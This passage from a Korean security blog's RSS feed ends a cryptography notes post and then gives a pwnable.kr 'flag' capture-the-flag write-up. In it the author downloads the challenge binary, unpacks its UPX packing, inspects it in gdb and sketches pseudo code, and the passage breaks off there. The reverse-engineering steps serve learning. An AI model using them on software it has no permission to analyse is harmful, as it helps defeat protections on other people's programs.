유추를 통해 plain text를 알아 낼 수 있다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;color: rgb(34, 34, 34); font-size: 14px;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;color: rgb(34, 34, 34); font-size: 14pt;&quot;&gt;따라서 one time pad는 &lt;span style=&quot;background-color: rgb(228, 247, 186);&quot;&gt;일회용&lt;/span&gt;으로 사용해야 한다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;color: rgb(34, 34, 34); font-size: 14px;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;color: rgb(34, 34, 34); font-size: 14px;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;font color=&quot;#222222&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-size: 18pt; background-color: rgb(250, 244, 192);&quot;&gt;Codebook cipher (코드북 암호)&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font color=&quot;#222222&quot;&gt;&lt;span style=&quot;font-size: 14px;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font color=&quot;#222222&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;codebook cipher는 simple substitution과 비슷한 치환 암호의 일종이다.&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font color=&quot;#222222&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;하지만 simple substitution는 각 문자마다 치환을 하는 반면에 code book은 단어나 절을 치환한다.&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font color=&quot;#222222&quot;&gt;&lt;span style=&quot;font-size: 14px;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font color=&quot;#222222&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;예시는 아래와 같다.&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font color=&quot;#222222&quot;&gt;&lt;span style=&quot;font-size: 14px;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font color=&quot;#222222&quot;&gt;&lt;span style=&quot;font-size: 14px;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 869px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/9929CF395BDC34A019&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F9929CF395BDC34A019&quot; width=&quot;869&quot; height=&quot;524&quot; filename=&quot;이미지 018.png&quot; filemime=&quot;image/jpeg&quot; style=&quot;&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;color: rgb(34, 34, 34); font-size: 14px;&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&lt;/span&gt;&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&lt;b&gt;&lt;span style=&quot;background-color: rgb(250, 244, 192); font-size: 18pt;&quot;&gt;confusion(혼돈) and 확산(diffusion)&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&lt;span style=&quot;background-color: rgb(228, 247, 186);&quot;&gt;confusion&lt;/span&gt;은 plain text와 cipher text의 상관관계를 숨기는 것이다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&lt;span style=&quot;background-color: rgb(228, 247, 186);&quot;&gt;diffusion&lt;/span&gt;은 plain text의 통계적 성격을 cipher text에서 숨기는 것이다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;simple substitution과 one-time-pad는&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;confusion의 특징을 갖고&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;Double transpo&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;sition은 diffusion 특징만 갖는&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;</description>
      <category>Crypto, Access Control, Protocol</category>
      <author>MarcoKhan</author>
      <guid isPermaLink="true">https://marcokhan.tistory.com/225</guid>
      <comments>https://marcokhan.tistory.com/225#entry225comment</comments>
      <pubDate>Fri, 2 Nov 2018 20:41:02 +0900</pubDate>
    </item>
    <item>
      <title>[pwnable.kr]  flag 풀이, write-up</title>
      <link>https://marcokhan.tistory.com/224</link>
      <description>&lt;p&gt;&lt;span style=&quot;font-size: 36pt;&quot;&gt;&lt;b&gt;pwnable.kr --- flag&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;flag 문제는 &lt;span style=&quot;background-color: rgb(228, 247, 186);&quot;&gt;flag 파일을 rev&lt;span style=&quot;background-color: rgb(250, 244, 192);&quot;&gt;&lt;/span&gt;ersing 해서 flag를 찾으라는 문제&lt;/span&gt;이다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;문제 설명을 보면 아래와 같다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 755px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/9942BD365BDBBCB80C&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F9942BD365BDBBCB80C&quot; width=&quot;755&quot; height=&quot;504&quot; filename=&quot;이미지 002.png&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;칼리 리눅스가 아닌 우분투를 사용하고, 모든 툴이 다 설치 되어 있지 않기 때문에 elf 파일임에도 불구하고 window와 linux 환경을 바꿔가며 풀이를 진행했다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&lt;span style=&quot;background-color: rgb(250, 244, 192);&quot;&gt;windows 환경에서 chrome의&amp;nbsp;http://pwnable.kr/bin/flag&lt;/span&gt;를 통해 flag 파일을 다운 받았고&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&lt;span style=&quot;background-color: rgb(250, 244, 192);&quot;&gt;linux 환경에서는 wget http://pwnable.kr/bin/flag&lt;/span&gt;을 통해 flag 파일을 다운 받았다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;처음 문제풀이를 시작할 때&amp;nbsp;우분투에서 gdb를 통해 분석하려고 했는데 뭔가 이상했다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 734px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/997D513D5BDBC16E24&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F997D513D5BDBC16E24&quot; width=&quot;734&quot; height=&quot;439&quot; filename=&quot;이미지 003.png&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&lt;span style=&quot;background-color: rgb(250, 244, 192);&quot;&gt;sysbol을 읽을 수 없다... IAT가 깨진것&lt;/span&gt;인가?? 혹시 &lt;span style=&quot;background-color: rgb(250, 244, 192);&quot;&gt;패킹&lt;/span&gt;이??&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;간단한 reversing 문제라고 생각하고 접근할 때, 내가 가장 먼저 하는것은 &lt;span style=&quot;background-color: rgb(250, 244, 192);&quot;&gt;어떤 언어&lt;/span&gt;로 작성 되어있는지, &lt;span style=&quot;background-color: rgb(250, 244, 192);&quot;&gt;packing&lt;/span&gt;이 되어있는지 여부이다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;elf 파일 또한 exe 처럼 판별 가능할 지 모르겠지만, 우선 시도해봤다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&lt;span style=&quot;background-color: rgb(250, 244, 192);&quot;&gt;언어 확인과, packing 여부를 알기 위해 exeinfo&lt;/span&gt;를 사용했다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 681px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/996E703C5BDBBF5F15&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F996E703C5BDBBF5F15&quot; width=&quot;681&quot; height=&quot;328&quot; filename=&quot;5.png&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;아주 간단한 UPX packer로 packing 되어 있음을 확인할 수 있다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;또한 내가 하는 짓은 &lt;span style=&quot;background-color: rgb(250, 244, 192);&quot;&gt;PEViewer를 통해 구조&lt;/span&gt;를 보는 것이다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 1000px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/99F2553A5BDBC07313&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F99F2553A5BDBC07313&quot; width=&quot;1000&quot; height=&quot;538&quot; filename=&quot;6.png&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&lt;span style=&quot;background-color: rgb(250, 244, 192);&quot;&gt;UPX가 보이고, ELF&lt;/span&gt; 임을 확인할 수 있다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;UPX packer는 간단히 github에서 다운 받을 수 있다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;UPX packer가 없다면 아래 홈페이지에 접속해서 설치하도록 하자.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;https://upx.github.io/&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;UPX를 unpacking 하는 법은 아래와 같다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt; background-color: rgb(250, 244, 192);&quot;&gt;upx -d [파일명]&amp;nbsp;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt; background-color: rgb(250, 244, 192);&quot;&gt;upx -d [파일명] -o [unpacking 된 파일을 다른 이름으로 저장할 파일명]&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 832px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/99D019405BDBC31615&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F99D019405BDBC31615&quot; width=&quot;832&quot; height=&quot;536&quot; filename=&quot;이미지 004.png&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;패킹이 풀린 후 다시 한번 exeinfo와 PEViewer를 통해 바뀐 점을 살펴보자.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 681px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/99167E3E5BDBC3441E&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F99167E3E5BDBC3441E&quot; width=&quot;681&quot; height=&quot;328&quot; filename=&quot;이미지 004.png&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;Packing이 풀린것을 확인할 수 있다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 1000px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/993022375BDBC38513&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F993022375BDBC38513&quot; width=&quot;1000&quot; height=&quot;538&quot; filename=&quot;이미지 001.png&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;unpacking 이전의 UPX도 사라졌고 unpacking이 잘 되었음을 확인할 수 있다&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;그렇다면 이제 unflag를 gdb로 분석해보자.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 866px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/99C4623F5BDBCDC42A&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F99C4623F5BDBCDC42A&quot; width=&quot;866&quot; height=&quot;344&quot; filename=&quot;이미지 006.png&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;이전과는 다르게 unflag 파일의 symbols을 읽어 들이고, disas main이 가능하다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;대충 pseudo code를 작성하면 아래와 같이 작성할 수 있다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;compile 할 때 dummy가 자동으로 생성될 수 있기 때문에 hard coding 하였다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;
&lt;/span&gt;&lt;div class=&quot;colorscripter-code&quot; style=&quot;color:#f0f0f0; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; position:relative !important; overflow:auto&quot;&gt;&lt;table class=&quot;colorscripter-code-table&quot; style=&quot;margin:0; padding:0; border:none; background-color:#272727; border-radius:4px;&quot; cellspacing=&quot;0&quot; cellpadding=&quot;0&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style=&quot;padding:6px; border-right:2px solid #4f4f4f&quot;&gt;&lt;div style=&quot;margin:0; padding:0; word-break:normal; text-align:right; color:#aaa; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; line-height:130%&quot;&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;1&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;2&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;3&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;4&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;5&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;6&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;7&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;8&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;9&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/td&gt;&lt;td style=&quot;padding:6px 0&quot;&gt;&lt;div style=&quot;margin:0; padding:0; color:#f0f0f0; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; line-height:130%&quot;&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;color: rgb(75, 230, 250); font-size: 14pt;&quot;&gt;int&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;main()&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;{&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;puts(&lt;/span&gt;&lt;span style=&quot;color:#aaffaa&quot;&gt;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;*&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;0x496658&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;);&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;rdi&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color:#aaffaa&quot;&gt;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(75, 230, 250); font-size: 14pt;&quot;&gt;malloc&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;100&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;);&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;rsi&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color:#aaffaa&quot;&gt;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;0x6c2070&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;strcpy(rdi,&amp;nbsp;rsi);&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;return&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;}&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div style=&quot;text-align:right; margin-top:-13px; margin-right:5px; font-size:9px; font-style:italic&quot;&gt;&lt;a href=&quot;http://colorscripter.com/info#e&quot; target=&quot;_blank&quot; style=&quot;color:#4f4f4f; text-decoration:none&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;Colored by Color Scripter&lt;/span&gt;&lt;/a&gt;&lt;/div&gt;&lt;/td&gt;&lt;td style=&quot;vertical-align:bottom; padding:0 2px 4px 0&quot;&gt;&lt;a href=&quot;http://colorscripter.com/info#e&quot; target=&quot;_blank&quot; style=&quot;text-decoration:none; color:white&quot;&gt;&lt;span style=&quot;font-size: 14pt; word-break: normal; background-color: rgb(79, 79, 79); color: white; border-radius: 10px; padding: 1px;&quot;&gt;cs&lt;/span&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;
